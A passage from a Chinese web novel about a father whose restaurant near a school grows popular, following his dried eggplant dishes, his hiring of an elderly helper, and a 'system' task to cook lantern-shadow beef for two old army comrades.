胡一齐吃完美味的午餐，还忍不住惦记自己没吃过的落苏干：“楚瑾钰，落苏干好吃吗？” “落苏干得炒熟才能吃，酱落苏干才可以直接吃，至于味道？我才不告诉你。”楚瑾钰说完夹起块金黄酥脆的脆皮猪肘送进嘴里。 猪肘表皮咬上去发出“咔嚓”声的酥脆感特别香，那股带着浓郁脂香却没有脂肪油腻感的酥脆，吃得人特别满足。 楚瑾钰享受着那股浓郁的肉香，又往嘴里塞了口米饭，晶莹剔透的米饭和猪肘融合在一起，嗯香混着肉香，吃起来令人心情愉悦。 他在吃脆皮猪肘时，叶其林却是一个接一个吃着香辣花甲，嫩滑弹牙却没沙的花甲肉吃起来有点令人上瘾，食材本身的鲜味和恰到好处的辣味，让人欲罢不能。 他心里每次都在想着吃最后一个就停手，但根本停不下来。 随着越来越多顾客打到饭菜，店内时不时响起花甲壳碰撞发出的清脆声音。 花甲就被楚易文处理得特别彻底，干干净净的灰白色让顾客们吃的时候更是连一点余味都不愿意浪费，吃完的壳上连多余汤汁都没有。 没有沙的花甲吃起来有多美味，那真是谁吃谁知道。店内有不少老人以前压根不吃花甲，此时尝过味道后，却是瞬间就爱上香辣花甲的味道。 “爷爷，花甲好吃吧？”赵雨语望着自家爷爷道。 赵老爷子点头：“好吃，可惜你爸妈要上班，没口福。” 人到老年，身体各种机能都开始下降，食欲同样受到影响。然而自从帮孙女来盲盒餐厅买饭后，赵老爷子却是食欲一天比一天好，原本枯瘦的脸颊都多了些肉。 店内位置已经坐满时，店外人也不少，很多跑腿小哥将帮买的饭拿给学生后，直接坐在店门外开始吃自己那份。 “喵呜~” 某个外卖小哥刚找个靠墙的角落坐下来，才吃两口菜就听见猫叫声，抬头看到有只白猫睁着圆溜溜的眼睛望着自己，犹豫两秒还是丢了块肉过去。 白猫啊呜一口将肉吃掉，随即仰头再次发出喵喵叫。 “你真烦，我自己都不够吃。”他嘴里说着嫌烦的话，手上却是拿餐盒盖子分出点饭菜，随即放到地上，“就这么多，你慢点吃，吃完就没有了！” 在白猫凑近狼吞虎咽吃饭时，外卖小哥也大口吃起来，脆皮猪肘的酥脆、辣椒炒肉的香辣鲜嫩，让他跑一上午外卖的疲倦都消失不少。 真好吃！ 吃着美味的午餐，他眼底不由露出笑意，感觉跑外卖的赚到钱能买到这么好吃的饭菜，自己的辛苦都变得值得。 在店里店外许多人都为美味的饭菜感到心情愉悦时，卖完饭菜的楚易文也开始用午餐。 他正端着碗吃饭时，胡一齐眨巴着眼睛望着他：“楚爸，酱落苏干好吃吗？是什么味道？” 看得出来他真是个合格的吃货，肚子里的午餐还没消化，就惦记上其他吃食。 “等我回去看看，要是酱落苏干晒得差不多了，下午拿点过来给你尝尝。”楚易文咽下嘴里饭菜后道。 第78章 落苏干烧肉 “好耶！楚爸你真好！” 在胡一齐的欢呼声中, 楚易文想起另外一件事，转头看向儿子：“昨天我们商量的事情，你跟邵言易说了没？” “说了, 他说要先回家问问他奶奶。” “好。” 楚易文点点头表示知道了，随即继续开始吃饭，而店内顾客则是在吃完后渐渐离开。 “爸，我回学校了。” “楚爸拜拜~” “楚爸我们走了。” 等到店里人差不多走完时，楚瑾钰□□忙收拾一下桌子，随即也准备回学校。 其实楚易文一直不太愿意让他们帮忙，觉得有那个时间他们要么多休息会, 要么可以去看看书。但几个孩子却觉得他做饭已经很辛苦，坚持要帮忙。 从这点上看，楚易文觉得请个人也挺好。 邵家。 上午邵言易在听见楚瑾钰说他家店要招人, 问他奶奶愿不愿意去时有点惊讶，不过没有直接替奶奶答应。 他奶奶已经七十多岁，按理说他作为孙子, 不该让年纪这么大的老人出去工作。可他太了解自己奶奶，就算不让她工作, 她每天还是会想着法跑出去赚钱。 其实邵言易一直很担心奶奶每天骑着三轮车满街跑会出事，对比起来，觉得还不如让她在学校外面工作，这样离自己也近。 中午回到家, 他在饭桌上告诉奶奶这件事，心里还是希望她能答应。 “他们父子俩心真好……” 邵言易奶奶姓李，李老太太听见孙子的话不由发出感叹。 邵言易何尝不知道楚瑾钰和他爸这个提议是想帮他们家，否则就凭店里包饭这一点，很容易就能招到年轻员工。 但即便知道, 他还是选择将这份人情记在心里，然后劝奶奶答应。 学校。 楚瑾钰看到同桌进教室时，立刻想起中午他爸问他的事，直接开口：“怎么样？你奶奶愿意吗？” “她愿意，谢谢你们。”邵言易语气虽轻，却带着发自内心的感激。 “有什么好谢的，我家工资开的又不高，你奶奶愿意来算是帮忙了。” 从楚瑾钰这话能看出来，和高一时相比他明显成熟不少。 学校里他们开始上课时，楚易文已经关好店回到家中，第一件事就是检查晒的茄子。 今天太阳很不错，他随手拿起块茄子干轻捏两下，发现已经被晒得又干又硬。 茄子晒干后由亮紫色变成深紫褐色，散发出阳光气息和独特的干菜香，茄子本身的清香中透着股木质气息，闻起来很是清爽。 楚易文将茄子干放下，又走到旁边拿起块酱茄子干，乌黑油亮的酱茄子干比昨天更加硬一些，散发出浓郁酱香和焦糖气息。 由于在太阳下暴晒，酱茄子干带着几分热度，他随手送到嘴边，入口微硬，多咀嚼两下，绵软中带着韧劲，里面那股带甜味的酱香逐渐弥漫开来，甜津津的滋味配上软韧耐嚼的口感，吃起来还挺香。 中午答应给胡一齐带，他自然会说话算话，从家里离开时，用密封袋装了大概一斤酱茄子干带走。 等他开车到店里时，远远就看到店门口好像有人，他正想着是哪个顾客这么早过来时，走近才发现，竟然是邵言易奶奶。 他下意识想问对方怎么会过来，然而话到嘴边时他很快反应过来，开口道：“婶子，进来坐着休息会，是不是邵言易跟你说了工作的事？” “对。”李老太太点点头跟着他一起进入店内。 在老一辈的观念中，上班就得勤快，尤其是她觉得自己年纪那么大，就更加不愿意错过这么好的工作。 楚易文先从店里拿瓶水给她喝，随即才开口道：“我这里的话每周上六天班，早上九点过来，中午一点多收拾完卫生就能回家，下午四点上班，然后七点下班。一个月三千块钱，包饭……” “行，我知道了。” 李老太太平常一个月买菜加捡破烂都赚不到两千块钱，对于一个月三千还包饭的工作，自然不会嫌待遇不好。 相反，能有这么好的工作，七十多岁的老太太可谓是干劲十足，喝了两口水就直接拿起抹布开始擦店里桌子椅子。 “李婶现在不用擦，你先坐着休息会，等顾客们吃完饭你再擦。” “没事，我先擦一遍，孩子们过来吃饭的地方，擦干净点才好。” 楚易文看着她那精力旺盛的模样，感觉都不像是七十岁老人。 可能是人逢喜事精神爽，李老太太确实很有干劲，把店内看得见的台面全部擦一遍，在楚易文开始准备晚餐时又跑进厨房里帮忙。 李老太太厨艺虽然没他那么专业，但好歹也做了一辈子饭，经验还是有的，打打下手完全没问题。 有她在，楚易文下午做菜效率都提高不少，放学铃声还没响，他已经将菜全部做好。 “李婶，你来店里提前和邵言易说过没？” 李老太太被他提醒才想起来这时，着急地一拍大腿：“哎呦，我忘记跟小言说了！” “没事，离放学还有一会，你去校门口等着，正好喊他一起过来吃饭。”楚易文道。 李老太太：“那怎么好意思。” “开饭店最不缺的就是饭菜，再说你出来上班，家里肯定没人给他做饭，不如过来对付一口算了。” 李老太太：“这么好的菜，哪是对付，过节还差不多。” 在厨房里跟他客气两句后，李老太太这才出来准备去学校接自家孙子。 楚易文跟着出来把门打开，外面等待的顾客见今天提前开门，一个个高兴得不行，也顾不上好奇今天店里怎么多了个老太太，撒腿就往里面冲。 李老太太看到这么多顾客，诧异地多瞧两眼才缓缓走出去，她刚走到校门口，没两分钟放学铃声就响起，很快各个教学楼中就冲出许多学生。 跟邵言易比起来，明显楚瑾钰他们几个放学更积极些，因此反而是他们先看到校外的李老太太。 楚瑾钰还挺热心，看到她直接转头冲着后边的邵言易喊：“邵言易，你奶奶来了！” 声音落进邵言易耳中，原本走路的他瞬间小跑起来，很快跑到学校门口。 他到校门口时，就看到奶奶正笑眯眯和楚瑾钰说话，同时听明白，奶奶下午就已经到盲盒餐厅里上班。 楚瑾钰看到他跑进，伸手一把搂住他肩膀：“那正好，咱们可以一起去吃饭了。” 等他们走到店里时，店内已经人满为患，同时扑鼻而来的香味简直能馋死个人。 “哇，有烤羊排！”胡一齐发现晚餐有烤羊排，眼睛都开始放光。 不怪之前李老太太说在店里吃饭跟过节差不多，今天晚餐的菜色是真丰富，有烤羊排、笋丝炒肉、黄豆烧鸡爪、椒盐大虾、清炒莴笋、海带排骨汤。 原本楚易文是让李老太太跟孩子们一起吃饭，吃完再擦擦桌子，搞搞卫生。然而老太太见他还在忙着打饭，怎么可能自己先吃。 本来她要帮忙打饭，但楚易文怕她分量给得不够和顾客起冲突，没有答应，于是老太太便拿着抹布在大堂里等着，有顾客吃完就赶紧去收桌子。 以前店里顾客们吃完饭，有人会自己收拾一下餐盒丢进垃圾桶里，有的吃完就走，等下个要坐的顾客自己收拾。 如果换做普通饭店，这种服务态度顾客们估计早就跑了，但由于楚易文手艺好，顾客们竟然没觉得有什么问题，依旧吃得挺开心。 现在有李老太太负责收桌子，对顾客们倒是更友好些，可以直接坐在干净的桌子前吃饭。 靠近厨房的那张桌子，邵言易本来想给奶奶帮忙，但她让自己先吃饭，只能加快吃饭速度。 “你多夹点菜，不然胡一齐都吃光了。”楚瑾钰见自家同桌就着一根烤羊排就吃掉半碗饭，直接又夹根羊排还有几个鸡爪放到他碗里。 那股带孜然香，而且表面被烤得焦香四溢的烤羊排实在太香，胡一齐听到他在蛐蛐自己都没空反驳，大口啃着从羊排上撕扯下来的肉。 “谢谢。” 邵言易说完不再光盯着饭吃，而是一口菜两口饭。 虽然不是第一次在店里吃饭，但面前的菜色味道依旧惊艳到他。烤羊排完全没有膻味，那外焦里嫩的口感以及香辛料的滋味，越吃越香。 黄豆烧鸡爪有点辣，但辣得很过瘾，软糯的鸡爪轻轻一咬就脱骨，留着满嘴肉香。 为了防止楚瑾钰继续给自己夹菜，邵言易筷子终于动得勤一些，吃完又夹了些笋子和虾。 脆嫩的笋丝吃起来咸鲜浓郁，吸收肉香后油润而不腻，让人吃完一口想两口。 椒盐大虾更是令平常几乎没怎么吃过虾的邵言易感到惊艳，椒盐味的大虾特别香，剥开酥脆的外壳，里面虾肉紧实弹牙，食材本身的鲜甜与外壳的咸鲜椒麻形成鲜明对比。 他不知不觉就沉浸在晚餐的美味中，进食速度越来越快。 店内，李老太太边忙活边用余光去看自家孙子，看到他吃得那么香，脸上露出高兴的表情。 “太好吃了！原来羊排是可以没有膻味的！” “椒盐大虾真香啊！我爱死这个味道了！” “黄豆好香，软软糯糯的，吸收鸡爪的肉汁，拿来拌饭吃太香了，就是有点辣。” 店内顾客们埋头苦吃一阵后，终于忍不住开口夸赞，感觉每道菜都好吃到他们心坎里去。 如今店里家长加学生的配置越来越多，有不少家长以前都是从家里给孩子送饭，自从发现楚易文开店后，直接变成提前来店中买饭和孩子一起吃。 莹莹妈妈就是其中一位，自从帮女儿买过一次饭，她再也不愿意自己做饭，天天就盼着到饭点来学校吃。 “妈你不觉得辣吗？”莹莹看到她妈用勺子连汤带黄豆一起舀进碗里，望着红彤彤的小米辣，感觉看着就很辣。 莹莹妈妈：“有点辣，但太好吃了。” 她说完用筷子轻轻在碗里拌动，很快原本雪白的米饭就被汤汁染成红亮油润的色泽，同时小米辣、黄豆和米饭混在一起，看起来还挺有食欲。 莹莹妈妈吃了一口，米饭的香软和黄豆的软糯融合，配上汤汁香辣咸鲜的味道，简直好吃死了。 两口米饭下肚，她又夹起个鸡爪，那软糯带着胶质的口感，越吃越令人陶醉。 看到她妈吃得那么香，莹莹忍不住也拿起勺子，不过她不敢带小米辣一起吃，小心地挑着黄豆往碗里放。 她们母女俩还好，哪怕菜确实很好吃还是会互相谦让，生怕对方没得吃。隔壁那桌有对父子俩，吃饭氛围就没那么和谐。 “爸，说好一人五个虾，你抢我的干嘛？” “谁让你吃那么慢，我以为你不喜欢吃。” 外壳酥脆到极致，虾肉弹嫩多汁的椒盐大虾傻子才不喜欢吃，听到他爸的话，当儿子的直接伸手抓起桌面最后那个羊排塞进嘴里。 “哎！说好一人一半的……”他话还没说完，就见儿子已经把羊排的肉全咬进嘴里，于是握着筷子开始抢鸡爪。 买到饭的顾客们热热闹闹吃着，很快当楚易文宣布晚餐卖完，剩余没买到的顾客只能发出失望的叹息。 “老板，想吃顿你家的饭怎么那么难啊！” “我真是服了，三天没吃到你家饭了，老板你知道我这三天是怎么过的吗？” 楚易文不知道他这三天是怎么过的，但肯定他没有饿三天，不然早没力气过来排队。 “明天早点来吧。”他能说什么，只能干巴巴安慰一句。 将空盆收进厨房里，他见李老太太还在大堂中忙活，招呼她一起来吃饭。 桌上邵言易刚喝完最后一口汤，闻言赶紧放下碗：“奶奶，我来帮你，你快去吃饭。” “不用，又没多少活，等吃完饭我自己来。”李老太太扭开身子不让他接自己手里抹布。 等她将抹布洗干净挂起来时，楚易文将她那份晚餐递过去。 倒不是他嫌弃老太太所以才分餐，而是怕一起吃老太太会不好意思吃菜，干脆分开装。 “这么多肉，我哪吃得了这些，留着卖多好啊。”李老太太在店里忙活一下午，已经知道店里生意有多好，刚刚还有那么多顾客没买到饭，她觉得与其给自己吃，还不如多卖点钱。 楚易文：“不多吃点哪有力气干活。” 李老太太望着盘子里又是羊排又是虾，到底舍不得都自己吃，于是喊孙子再吃点。 “我自己吃饱了，奶奶你自己吃。”邵言易怎么可能吃她的饭，直接摇头拒绝。 李老太太：“虾不占肚子，你再吃几个虾。” “真吃不下了。”邵言易本来还想在店里帮帮忙，见奶奶一个劲想让他再吃点，只能道，“晚上要考试，我先回教室复习去，奶奶你慢慢吃。” “晚上要考试？那你们也赶紧复习去吧。”听到邵言易的话，楚易文看向自家儿子和胡一齐他们，说完又想起来什么，起身拿起一袋东西递过去，“酱落苏干，已经晒得差不多了，你们尝尝。” 听到是自己感兴趣的酱落苏干，胡一齐赶紧伸手接过来，打开袋子就闻见股难以形容的香味。 他伸手拿出一条，望着那乌黑油亮的模样，不由道：“楚爸，这真是茄子干？怎么看着有点像果脯？” 焦糖带来甜津津的气息，让酱落苏干确实有几分像果脯，如果不是提前知道，还真不容易猜出这是茄子干。 昨天已经吃过的楚瑾钰直接捏起一个送进嘴里，感觉今天的酱落苏干口感更加有韧性些，不像昨天咀嚼间还带着点湿润感。 “吃起来也很像果脯。”胡一齐在将酱落苏干送进嘴里后发出评价，“还挺好吃。” 酱落苏干刚吃时是甜润润的味道，咀嚼间咸鲜味透出来，先甜后咸，甜与咸两种味道完美平衡，加上食材本身的清香，吃起来特别有嚼劲。 很快五个人一起从店里离开，明明肚子吃得很饱，回教室路上嘴巴却是没闲着，一直在啃酱落苏干，就连邵言易都不例外。 “这玩意……”胡一齐连嚼几下嘴里的落苏干，“怎么这么好吃，吃起来有点上瘾。” 酱落苏干刚吃时还好，只是觉得味道不错，但是吃着吃着就有点停不下来，越吃越觉得香。 “你们在吃什么？” 教室里，大部分同学都没抢到盲盒餐厅的饭吃，看到楚瑾钰他们进来，视线立刻落在他们手里乌黑油亮的条状物上。 “我爸晒的酱落苏干，你们要吃吗？”楚瑾钰明显多此一问，他话落，同学们瞬间就涌上前。 片刻后，班上人手一条酱落苏干，嚼得那叫一个香。 “这竟然是茄子做的？我还是第一次吃茄子干，怪好吃的。” “确实好吃，这个你爸有拍教程吗？要是不难的话，我想让我妈也做点。” 班上同学基本都知道楚瑾钰他爸除了开店还做短视频，余思语越吃越喜欢酱落苏干的味道，忍不住问。 “应该拍了，你等两天看吧。”楚瑾钰说完还想再啃两根酱落苏干，但由于肚子实在有点撑，最终还是放弃。 晚自习楚瑾钰他们班在考试时，楚易文早就回到家，将晒的落苏干和酱落苏干全部收进来。 经过两天太阳暴晒，落苏干已经完全晒透，散发出阳光的味道和茄子特有的清香。 落苏干要用密封性好的容易保存起来才不容易坏，但家里并没有那么多密封袋和密封罐。楚易文将儿子爱吃的酱落苏干用玻璃罐装好，落苏干直接用袋子收起来，准备明天直接拿到店里做掉。 次日上午，他采购完食材到店时，离九点还差十几分钟，却发现李老太太竟然已经过来。 “李婶，你怎么来这么早？”楚易文边将车上食材搬到店门口边道。 李老太太：“在家也没什么事，干脆提前过来。” “上午店里没什么事，不用来那么早，你九点多过来都行。”楚易文说完将店门打开，把食材搬进厨房里，开始处理食材。 李老太太觉得他又是一个月开三千块钱，又让她和孙子都过来吃饭，觉得不多干点活哪里好意思。 她跟着走进厨房，不用楚易文说就自己找活干，直接将要洗的菜都放进水里。 别看老太太年纪大，干活那是真利索，有她帮忙，给楚易文省了不少事。 “这茄子干晒得可真好，改明趁着天气好，我也晒点。”李老太太在清洗落苏干时不由夸道。 由于有老太太在，今天楚易文没再把店门关着，借着让她守店的理由让她出去坐着休息，自己则是开始炒菜。 随着厨房里他热火朝天开始炒菜，香味先是飘满整个店铺，随即又从敞开的大门涌出去，向着四面八方蔓延。 “每天过来第一句话，就是想说好香啊！” 没有大门的阻挡，顾客们来到店外时立刻被香气扑了满脸，肚子瞬间咕咕叫起来。 发现今天门没关，提前过来的顾客直接进去找位置坐下来。 “这是什么味？怎么这么香！”黄老爷子和新找的棋搭子找老爷子坐在店里边下棋边等饭吃，在闻见一股浓郁香味时，忍不住抬头。 赵老爷子轻嗅着这股香味猜测道：“是肉炖茄子吧？我闻见一股肉味还有茄子香。” “肉炖茄子这么香的吗？”黄老爷子边说边吞咽着口水，感觉这香味实在太馋人，馋得他都没办法专心下棋。 赵老爷子鼻子还挺灵，厨房里楚易文确实是在做排骨烧茄子，虽然不是新鲜茄子，而是茄子干。 和新鲜茄子比起来，经过阳光暴晒产生的茄子干，风味和口感都与新鲜茄子不同，那股只有干菜才有的醇厚气息与肉香融合，交织出一股浓郁诱人的气息，闻着令人垂涎欲滴。 光是这道落苏干烧肉的香味就已经引得店内顾客频频伸长脖子看向厨房，等到楚易文开始做其他菜时，不少顾客甚至都已经坐不住，直接起身去排队。 第79章 灯影牛肉 好在并没有让顾客们等太久, 在学校铃声响起之前，楚易文已经将菜全部端出来。 太阳暴晒的落苏干本就比新鲜茄子颜色要更深些，被经过“干烧”变得特别浓稠的汤汁包裹着, 看起来油润光亮，配上旁边红褐色的排骨，色泽饱满而诱人。 落苏干烧肉之前飘出来的香味已经令顾客们垂涎欲滴，此时看到它的卖相，更是没有人能拒绝。 “老板，给我一份茄子烧肉……” “好的。”楚易文应了一声，在店铺瞬间热闹起来的氛围下开始打菜。 说来也挺无语, 他原本是给儿子做饭顺便卖一下，结果现在每天儿子还没放学，店里就已经人满为患。而且明明他都已经增加过两次卖的菜量, 依旧有顾客嫌他做得不够多。 在有一位顾客想多买几份时，楚易文开口道：“不好意思，每个人最多买两份。” 没办法, 他如果不进行限制，能买到的顾客会更少, 这样就会有更多顾客来找他抱怨。说实话，如果不是知道好多家长会提前来买饭跟孩子一起吃，他差点都要每人限购一份。 “老板，你这茄子也太好吃了, 是什么品种的茄子啊？” 最先过来的顾客已经吃上饭，他咀嚼着嘴里吸满肉汁，吃起来糯中带韧的口感，感觉和平常吃的茄子很不同。 晒干后的茄子整体风味被太阳的高温进行浓缩，形成一种醇厚的鲜味, 同时它像海绵一样在烹饪过程中吸收肉汁、油脂和汤汁的精华，咀嚼间它吸收的复合精华会溢出来，配上食材特有的干菜清香，味道自然好吃。 楚易文听到顾客的询问，头也不抬道：“就是普通茄子，不过是晒干之后的茄子干。” “茄子干？怪不得我吃出点干菜香，而且完全没有新鲜茄子的生涩味，越吃越香。”旁边另外一位顾客夸赞道。 听到他们的评论，还在排队的人喉咙不自觉吞咽起来，迫不及待想知道，到底是什么茄子干那么好吃。 很快黄老爷子就和赵老爷子前后买好饭，在赵老爷子转头看向门口寻找自家孙女时，黄老爷子已经夹起块茄子送进嘴里。 茄子入口，浓郁的汤汁和一股肉香在嘴里上蔓延开来，咀嚼间软糯而不失韧性，干菜特有的清香和太阳暴晒形成的鲜味逐渐在味蕾上蔓延开来，余味悠长。 黄老爷子：“好吃，这茄子比肉还好吃！” 他说完端起米饭，一口茄子一口饭，感觉茄子不光单吃美味，还特别下饭。 “爷爷，今天有什么好吃的？” 赵老爷子也没多等，很快他孙女就小跑进来，嗅着扑面而来的香味眼睛里透着期待。 “赶紧尝尝这茄子，你黄爷爷说比肉还好吃。”赵老爷子看到孙女过来，立刻拿起筷子品尝起来，发现确实很香，比肉还香。 茄子干口感比新鲜茄子要更有韧性些，加上它能吸汤，简直每嚼一口都是不同的滋味。 赵雨语：“真的好好吃啊！” 她说完瞬间顾不上再说话，端着碗埋头苦吃起来。 她开吃时，楚瑾钰他们几个人也早就进入店中，吃着喷香的落苏干烧肉，好一会才有空说话。 叶其林：“没想到茄子竟然这么好吃，做成酱茄子干美味，拿来烧肉更是香。” 中午楚易文拿给他们的那一斤酱落苏干分量可不少，然而几人加上班里同学，却是在第二节课没开始就全部吃光光，可见有多美味。 商时贸：“我现在觉得，盲盒餐厅这个名字起得简直不要太好。” “确实。”楚瑾钰赞同地点头，“我爸真是每天都会弄出点新鲜玩意出来，比开盲盒还令人期待。” “这个店名是你们取的？”邵言易咽下嘴里茄子插了句话。 胡一齐：“对啊，我们是不是很天才！” “确实取得不错。”邵言易夸道。 在好多顾客都是第一次吃落苏干烧肉时，也有人以前就吃过，此时在店里吃到，感觉很是怀念。 “这落苏干烧肉做得真好，我奶奶以前夏天时特别喜欢做落苏干，一部分晒好就直接烧着吃，一部分留到冬天。” “别说，落苏干这名字还挺好听。” 顾客们在夸落苏干好吃时，有经常来这里做直播的主播正在跟粉丝们介绍这道菜。 【我还奇怪落苏干是什么，原来是茄子干，茄子干烧肉就茄子干烧肉，整得那么好听。】 【你们那边都不吃落苏干吗？酱落苏干特别好吃，每次家里人晒时，还没晒好我就忍不住偷吃。】 【茄子干和新鲜茄子有什么区别？不说我都看不出来。】 看到粉丝们的评论，主播夹起块茄子边吃边道：“茄子干烧出来感觉更加吸汤，跟新鲜茄子比起来多了股干菜的清香和一种说不出来的风味……” 【给我看馋了，可惜外卖上只有茄子烧肉，没有茄子干烧肉。】 【我最喜欢吃茄子了，这个我是真想吃！可惜离得实在太远，不然我高低得去尝尝。】 【离得近也没用，你看看店里那人多的，后面好多学生急得团团转都买不到。】 直播间里确实没夸张，不少学生看着店里那么多人，明知买不到还不愿意离开，非要等到菜全部卖完，才垂头丧气地离开。 黄老爷子胃口是真好，一个人干完两菜一汤，米饭更是吃得干干净净。吃饱喝足，他带着满足的表情溜达着散步回家，感觉自己这小日子过得，真是给个皇帝都不换。 作为住在附近的退休老人，他有钱有闲，自从发现盲盒餐厅后就成为店里忠实顾客，就算刮风下雨都阻挡不了他来吃饭的步伐。 次日中午，黄老爷子照旧到店里来吃饭，吃完他却没有立刻离开，而是一直坐在店里。 楚易文早就眼熟这位老顾客，送走儿子见他还在店里，主动上前询问：“叔，你是有什么事吗？” 黄老爷子以前当过兵，平日里为人处事并不扭捏，此时却是难得有些不好意思。 “那个，老板是这样的，我想请我一个老战友来店里吃饭，以前他就总跟我念叨他爸做饭有多好吃，尤其是灯影牛肉，做得特别好……” 以前一起当兵的老战友只剩这么一个，对方过来看望他，黄老爷子不由想起总被他挂在嘴边的灯影牛肉，就想问问楚易文会不会做。 【叮~临时任务已激活，老兵惦记的味道，请宿主做出令他满意的灯影牛肉，任务完成奖励“厨神之舌”。】 军人本就令人敬重，更别说是参加过战争的老兵，楚易文听到黄老爷子的话时就已经要答应，没想到还触发系统任务。 在他询问下，黄老爷子告诉他，他的那位战友父亲以前是饭店大厨，做得一手好菜，尤其是灯影牛肉做得特别好吃。 “那会他一直说，等到战争结束带我们去他家吃饭，可惜……”黄老爷子忍不住叹息。 楚易文询问时间，得知对方下周才会过来，觉得时间还很充裕。 当天晚上，入睡前他直接进入系统厨房，开始灯影牛肉的学习。 做菜首先要处理食材，此时楚易文面前放着块上好的牛后腿腱子肉，这块肉筋膜少，瘦肉多，很适合用来做灯影牛肉。 “先把肉上的筋膜和脂肪剔除，只留瘦肉。” 老爷子话落，楚易文立刻握着刀开始处理牛肉，刀光闪烁间，没多久就将肉上多余的脂肪和筋膜处理得干干净净。 他处理过程中老爷子没有说话，但从眼神里看，应该对他刀工还挺满意。 牛肉处理干净，楚易文盯着牛肉的纹理，顺着纹路将牛肉切成大块，随即冷水下锅加葱、姜料酒大火烧开，撇去浮沫后转小火慢煮。 牛肉内部血水全部煮出来，煮到熟透却没有软烂的地步，他快速将牛肉块捞出来。 等到牛肉块放凉，肉质变得微微紧致时，接下来就是灯影牛肉的关键地方——切片。 所谓灯影牛肉，就是要将牛肉切得薄如蝉翼，能透光，每片牛肉薄度最好在一毫米以下。即便楚易文刀工已经很不错，在切之前表情也很认真，将全部的专注度都放在刀上。 他一块肉还没切完，旁边老爷子就开口道：“不够薄。” 楚易文闻言，再次落刀时，将牛肉切得更加薄。可即便如此，老爷子还是不满意，亲自示范一遍。 楚易文认真观察，根据老爷子的手法反复练习，中午切出让他满意的灯影牛肉。 牛肉切完，他捏起其中一片举起来，那薄如蝉翼的牛肉纹理被光照得很是清晰，看着就令他心里生起满满的成就感。 肉片切好，接下来就是腌制，现磨的花椒粉、粗细结合的辣椒粉、白糖、盐……他用调料将牛肉片抓均匀后，腌制一小时以上让牛肉充分入味。 牛肉片腌制好，接下来楚易文将它一片片摊开在竹筛上风干。 这个风干过程很费时间，也就系统厨房里时间流速比较快，否则他得在这里等好几天才行。风干过程中，楚易文时不时还得给牛肉翻个面，防止黏连。 牛肉片全部风干好，变得又干又硬后，他终于可以进行下一步，油炸定型。油炸分两次进行，第一次主要是炸出肉中多余水分，同时让它定型，第二次则是增香。 由于肉很薄，炸的火候和时间很难掌握，前面两片试炸时，楚易文明明已经很小心，还是将肉给炸过头，虽然没有糊，但那过重的焦味，还是引得老爷子毒舌了两句。 接下来楚易文更加小心，肉片在油锅中开始卷曲变色时立刻捞出来，一股浓郁的肉香瞬间弥漫整个厨房。 经过第一次油炸的牛肉已经变得特别酥脆，经过复炸，肉色更加红亮的同时，口感更是达到极致的酥脆。同时那浓郁的肉香和油炸特有的焦香扑鼻而来，就连楚易文都没忍住，捏起一片送入嘴里，香得他不自觉点头。 炸好的灯影牛肉已经很是酥脆美味，等到淋入辣椒油、藤椒油、一点香油和熟白芝麻进行搅拌，香味顿时变得更加浓烈诱人。 这道菜做起来是真费工夫，楚易文望着盘中红亮诱人的灯影牛肉，心里油然而生起一股成就感。 老爷子：“还要多练习。” 正沉浸在自己情绪中的楚易文听到这话，点头表示知道，次日又跑到系统小饭馆里多练习几次，随即才开始在现实中做灯影牛肉。 为了做出最完美的灯影牛肉，他干脆连食材都是在系统内兑换，在处理肉时更是仔细得不能再仔细。 “爸，你是在晒牛肉干吗？为什么不直接用烤箱烤？” 在发现家里晒的牛肉片时，楚瑾钰好奇心被勾起来。 楚易文：“不是牛肉干，是灯影牛肉，传统做法要把牛肉风干后才能进行油炸。” 灯影牛肉当然可以用烤箱来做，这样就省去风干的时间，可在以前那个年代，哪有烤箱用。为了更加还原那位老兵心中的味道，楚易文当然要选择传统做法。 “灯影牛肉？”楚瑾钰闻言，跑进零食柜里拿出一包，“爸你是说这个吗？” “对，你手里是灯影牛肉丝。”楚易文看着他手里的零食说。 自从他开始做饭后，楚瑾钰对零食的需求都变少了，家里买的零食放很久都吃不完。 灯影牛肉丝楚瑾钰以前挺爱吃，现在已经吃腻，不过听到他爸要做灯影牛肉，他感觉肯定比买的零食要好吃，瞬间就期待起来。 “爸，灯影牛肉明天能吃吗？” “没那么快，风干还要两天。” 又一个星期三，牛肉片已经风干好，一片片薄如蝉翼的牛肉变得又干又硬，拿起来时能透过阳光。和黄老爷子确定好时间后，次日下午，楚易文开始做灯影牛肉。 当牛肉片进入油锅进行第一次油炸时，牛肉特有的鲜香和腌牛肉的调料香瞬间被高温激发出来，香飘十里。 自从店里有李老太太帮忙后，店门就没再关过，提前来的顾客总算能坐着等，而不是守在店门口。 此时闻见那股浓郁香味，顾客们都不由自主抬起头来，脸上露出陶醉的表情。 与此同时，黄老爷子今天没跟棋搭子赵老爷子坐在一起，而是和一个头发花白，耳朵带着缺口的老爷子面对面坐着。 原本在与他闲聊的老爷子闻见这股香味时，不由抬头，表情有些微愣。 这香味…… “老周，怎么了？”黄老爷子见他话说到一半忽然不说了，下意识问。 周老爷子：“你非要带我来这吃饭，是准备请我吃灯影牛肉？” “你怎么知道？”黄老爷子说完也闻见那股浓郁肉香，不由道，“你真是个狗鼻子，我本来还说给你个惊喜。” 周老爷子闻言心里暗暗叹息：“难为你还记得……” “我怎么可能忘记。” 黄老爷子说完，二人一时无话，从厨房飘出来的香味却是越来越浓，越来越馋人。 “老板又在做什么好吃的啊？馋得我口水都快下来了。” “太香了，香得我肚子都咕咕叫起来。” 店内其他顾客闻着炸牛肉的香味，馋得直摸肚子。 如果说第一次油炸时就已经很香，那么等到牛肉片进行复炸时，更加浓烈的香味是真要把人给馋死。 “我不行了，好饿啊，饿得我连面前的手机都想啃两口。” “忽然觉得店门打开也不全是好事，这也太馋人了！” “好想吃饭啊！” 在顾客们被馋得差点没把店里桌子给啃了时，放学铃声终于响起，同时楚易文也做好今天的晚餐。 虽然是答应黄老爷子做的灯影牛肉，但这么麻烦的菜，他肯定不可能只做一份，直接搞了一大盆出来。 此时满满一盆色泽红亮，上面点缀着白芝麻的灯影牛肉看起来卖相十分诱人，尤其是光影打在肉上，那微微透光的红亮色泽，美得如梦似幻。 黄老爷子二人来得很早，因此也是最先打到饭的几位顾客。 “谢谢老板。”端着饭离开前，黄老爷子轻声道谢。 楚易文微微摇头表示不用客气，随即就继续忙着给其他顾客打饭。 黄、周两位老爷子回到座位上，周老爷子望着面前两份灯影牛肉微微出神。 经过高温油炸，以及辣椒油和辣椒粉的浸润，牛肉片看起来鲜艳透亮，白色熟芝麻星星点点落在肉上，红与白两种颜色形成鲜明对比。 